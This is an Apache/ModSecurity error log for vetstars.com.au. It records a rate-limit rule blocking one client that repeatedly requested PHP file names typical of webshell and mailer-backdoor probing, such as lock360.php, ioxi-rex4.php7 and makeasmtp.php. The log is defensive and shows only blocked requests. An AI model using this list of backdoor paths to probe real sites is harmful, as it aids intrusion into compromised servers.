[Sun Dec 28 19:06:30.667284 2025] [:error] [pid 29437:tid 29468] [client 4.196.149.150:17681] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aVEPNhhDotAbVk6pZLe1hQAAAcI"]
[Sun Dec 28 19:06:32.610963 2025] [:error] [pid 29437:tid 29480] [client 4.196.149.150:17779] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pn.php"] [unique_id "aVEPOBhDotAbVk6pZLe1iAAAAc4"]
[Sun Dec 28 19:06:33.945838 2025] [:error] [pid 42293:tid 42336] [client 4.196.149.150:15355] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pn.php"] [unique_id "aVEPOcvc9B-5cwN385LX_QAAAE0"]
[Sun Dec 28 19:06:34.498725 2025] [:error] [pid 42378:tid 42399] [client 4.196.149.150:15336] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pn.php"] [unique_id "aVEPOjgtcN-KHAjWrX8OJAAAANM"]
[Sun Dec 28 19:06:35.084126 2025] [:error] [pid 42378:tid 42396] [client 4.196.149.150:15324] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pn.php"] [unique_id "aVEPOzgtcN-KHAjWrX8OJQAAANA"]
[Sun Dec 28 19:06:35.765158 2025] [:error] [pid 42293:tid 42344] [client 4.196.149.150:17742] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "aVEPO8vc9B-5cwN385LYCQAAAFU"]
[Sun Dec 28 19:06:36.257370 2025] [:error] [pid 29436:tid 29457] [client 4.196.149.150:15347] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "aVEPPLchzOOtNL9VPNLcwgAAAZI"]
[Sun Dec 28 19:07:16.296147 2025] [:error] [pid 29436:tid 29448] [client 4.196.149.150:15316] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aVEPZLchzOOtNL9VPNLdBAAAAYk"]
[Sun Dec 28 19:07:16.520769 2025] [:error] [pid 43789:tid 43808] [client 4.196.149.150:15281] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aVEPZAa-tUppni4CcCYnIwAAARE"]
[Sun Dec 28 19:07:16.685265 2025] [:error] [pid 42293:tid 42323] [client 4.196.149.150:17685] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aVEPZMvc9B-5cwN385LYIwAAAEA"]
[Sun Dec 28 19:07:17.363012 2025] [:error] [pid 42293:tid 42325] [client 4.196.149.150:15301] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aVEPZcvc9B-5cwN385LYJAAAAEI"]
[Sun Dec 28 19:07:18.525230 2025] [:error] [pid 42293:tid 42343] [client 4.196.149.150:17687] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aVEPZsvc9B-5cwN385LYJgAAAFQ"]
[Sun Dec 28 19:07:18.949507 2025] [:error] [pid 42293:tid 42342] [client 4.196.149.150:15269] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aVEPZsvc9B-5cwN385LYJwAAAFM"]
[Sun Dec 28 19:07:19.402953 2025] [:error] [pid 43789:tid 43800] [client 4.196.149.150:17717] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aVEPZwa-tUppni4CcCYnJwAAAQk"]
[Sun Dec 28 19:07:20.118945 2025] [:error] [pid 42294:tid 42363] [client 4.196.149.150:15245] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aVEPaNTE5kYcYCOzl9GzrgAAAI0"]
[Sun Dec 28 19:07:20.658514 2025] [:error] [pid 42292:tid 42302] [client 4.196.149.150:15244] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aVEPaJyOrM_vaFx1osY_ZgAAAAY"]
[Sun Dec 28 19:07:20.835604 2025] [:error] [pid 42378:tid 42400] [client 4.196.149.150:15320] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aVEPaDgtcN-KHAjWrX8OTgAAANQ"]
[Sun Dec 28 19:07:21.160329 2025] [:error] [pid 29388:tid 29406] [client 4.196.149.150:15175] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aVEPadoLv2L2zI_SpdXS1wAAAUo"]
[Sun Dec 28 19:07:21.609618 2025] [:error] [pid 42292:tid 42309] [client 4.196.149.150:17715] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aVEPaZyOrM_vaFx1osY_ZwAAAA0"]
[Sun Dec 28 19:07:21.771968 2025] [:error] [pid 42378:tid 42385] [client 4.196.149.150:17753] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aVEPaTgtcN-KHAjWrX8OTwAAAMU"]
[Sun Dec 28 19:07:21.821255 2025] [:error] [pid 29437:tid 29478] [client 4.196.149.150:17697] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aVEPaRhDotAbVk6pZLe1uwAAAcw"]
[Sun Dec 28 19:07:21.880898 2025] [:error] [pid 29388:tid 29396] [client 4.196.149.150:15186] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aVEPadoLv2L2zI_SpdXS2QAAAUA"]
[Sun Dec 28 19:07:21.967755 2025] [:error] [pid 42378:tid 42389] [client 4.196.149.150:17665] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aVEPaTgtcN-KHAjWrX8OUAAAAMk"]
[Sun Dec 28 19:07:22.106357 2025] [:error] [pid 42293:tid 42340] [client 4.196.149.150:17758] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aVEPasvc9B-5cwN385LYLwAAAFE"]
[Sun Dec 28 19:07:22.274404 2025] [:error] [pid 42293:tid 42326] [client 4.196.149.150:17728] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aVEPasvc9B-5cwN385LYMAAAAEM"]
[Sun Dec 28 19:07:22.382716 2025] [:error] [pid 42293:tid 42327] [client 4.196.149.150:15339] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aVEPasvc9B-5cwN385LYMQAAAEQ"]
[Sun Dec 28 19:07:22.661857 2025] [:error] [pid 42294:tid 42354] [client 4.196.149.150:17699] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aVEPatTE5kYcYCOzl9GzrwAAAIQ"]
[Sun Dec 28 19:07:23.167984 2025] [:error] [pid 42293:tid 42325] [client 4.196.149.150:17720] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aVEPa8vc9B-5cwN385LYMwAAAEI"]
[Sun Dec 28 19:07:23.288654 2025] [:error] [pid 43789:tid 43804] [client 4.196.149.150:17719] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aVEPawa-tUppni4CcCYnKgAAAQ0"]
[Sun Dec 28 19:07:23.388787 2025] [:error] [pid 42292:tid 42315] [client 4.196.149.150:17664] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aVEPa5yOrM_vaFx1osY_aAAAABM"]
[Sun Dec 28 19:07:23.510981 2025] [:error] [pid 29437:tid 29490] [client 4.196.149.150:15335] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aVEPaxhDotAbVk6pZLe1vgAAAdg"]
[Sun Dec 28 19:07:23.553288 2025] [:error] [pid 43789:tid 43792] [client 4.196.149.150:15261] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uana.php"] [unique_id "aVEPawa-tUppni4CcCYnKwAAAQE"]
[Sun Dec 28 19:07:23.608341 2025] [:error] [pid 29437:tid 29472] [client 4.196.149.150:15262] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uana.php"] [unique_id "aVEPaxhDotAbVk6pZLe1vwAAAcY"]
[Sun Dec 28 19:07:23.691834 2025] [:error] [pid 43789:tid 43806] [client 4.196.149.150:15331] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uana.php"] [unique_id "aVEPawa-tUppni4CcCYnLAAAAQ8"]
[Sun Dec 28 19:07:23.828917 2025] [:error] [pid 42292:tid 42300] [client 4.196.149.150:17731] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uana.php"] [unique_id "aVEPa5yOrM_vaFx1osY_agAAAAQ"]
[Sun Dec 28 19:07:24.203591 2025] [:error] [pid 43789:tid 43813] [client 4.196.149.150:17671] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aVEPbAa-tUppni4CcCYnLgAAARY"]
[Sun Dec 28 19:07:24.396956 2025] [:error] [pid 42378:tid 42394] [client 4.196.149.150:15271] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aVEPbDgtcN-KHAjWrX8OUQAAAM4"]
[Sun Dec 28 19:07:24.698163 2025] [:error] [pid 29437:tid 29475] [client 4.196.149.150:17698] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aVEPbBhDotAbVk6pZLe1wAAAAck"]
[Sun Dec 28 19:07:24.829817 2025] [:error] [pid 29388:tid 29407] [client 4.196.149.150:15268] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aVEPbNoLv2L2zI_SpdXS2gAAAUs"]
[Sun Dec 28 19:07:24.890199 2025] [:error] [pid 29436:tid 29463] [client 4.196.149.150:15342] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aVEPbLchzOOtNL9VPNLdBwAAAZg"]
[Sun Dec 28 19:07:24.954014 2025] [:error] [pid 42293:tid 42346] [client 4.196.149.150:17776] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aVEPbMvc9B-5cwN385LYNAAAAFc"]
[Sun Dec 28 19:07:25.043800 2025] [:error] [pid 42292:tid 42297] [client 4.196.149.150:17770] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aVEPbZyOrM_vaFx1osY_bAAAAAE"]
[Sun Dec 28 19:07:25.091005 2025] [:error] [pid 29436:tid 29447] [client 4.196.149.150:15297] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aVEPbbchzOOtNL9VPNLdCAAAAYg"]
[Sun Dec 28 19:07:25.159607 2025] [:error] [pid 42292:tid 42303] [client 4.196.149.150:17704] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aVEPbZyOrM_vaFx1osY_bQAAAAc"]
[Sun Dec 28 19:07:25.244993 2025] [:error] [pid 42293:tid 42347] [client 4.196.149.150:15351] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aVEPbcvc9B-5cwN385LYNQAAAFg"]
[Sun Dec 28 19:07:25.328253 2025] [:error] [pid 29437:tid 29485] [client 4.196.149.150:17769] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aVEPbRhDotAbVk6pZLe1wgAAAdM"]
[Sun Dec 28 19:07:25.397686 2025] [:error] [pid 42293:tid 42342] [client 4.196.149.150:15305] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aVEPbcvc9B-5cwN385LYNgAAAFM"]
[Sun Dec 28 19:07:25.556791 2025] [:error] [pid 29436:tid 29451] [client 4.196.149.150:17672] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inc.php"] [unique_id "aVEPbbchzOOtNL9VPNLdCQAAAYw"]
[Sun Dec 28 19:07:25.662342 2025] [:error] [pid 43789:tid 43811] [client 4.196.149.150:17726] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inc.php"] [unique_id "aVEPbQa-tUppni4CcCYnMgAAARQ"]
[Sun Dec 28 19:07:25.775468 2025] [:error] [pid 42293:tid 42334] [client 4.196.149.150:15330] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inc.php"] [unique_id "aVEPbcvc9B-5cwN385LYOAAAAEs"]
[Sun Dec 28 19:07:25.910185 2025] [:error] [pid 43789:tid 43795] [client 4.196.149.150:15348] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inc.php"] [unique_id "aVEPbQa-tUppni4CcCYnMwAAAQQ"]
[Sun Dec 28 19:07:26.084561 2025] [:error] [pid 43789:tid 43799] [client 4.196.149.150:17708] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aVEPbga-tUppni4CcCYnNAAAAQg"]
[Sun Dec 28 19:07:26.289676 2025] [:error] [pid 42378:tid 42395] [client 4.196.149.150:17696] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aVEPbjgtcN-KHAjWrX8OUgAAAM8"]
[Sun Dec 28 19:07:26.588178 2025] [:error] [pid 42293:tid 42331] [client 4.196.149.150:15328] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aVEPbsvc9B-5cwN385LYPAAAAEg"]
[Sun Dec 28 19:07:26.662921 2025] [:error] [pid 29436:tid 29441] [client 4.196.149.150:17707] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aVEPbrchzOOtNL9VPNLdCgAAAYI"]
[Sun Dec 28 19:07:26.731856 2025] [:error] [pid 29436:tid 29452] [client 4.196.149.150:15267] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-rex4.php7"] [unique_id "aVEPbrchzOOtNL9VPNLdDAAAAY0"]
[Sun Dec 28 19:07:26.815522 2025] [:error] [pid 42378:tid 42399] [client 4.196.149.150:15300] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-rex4.php7"] [unique_id "aVEPbjgtcN-KHAjWrX8OUwAAANM"]
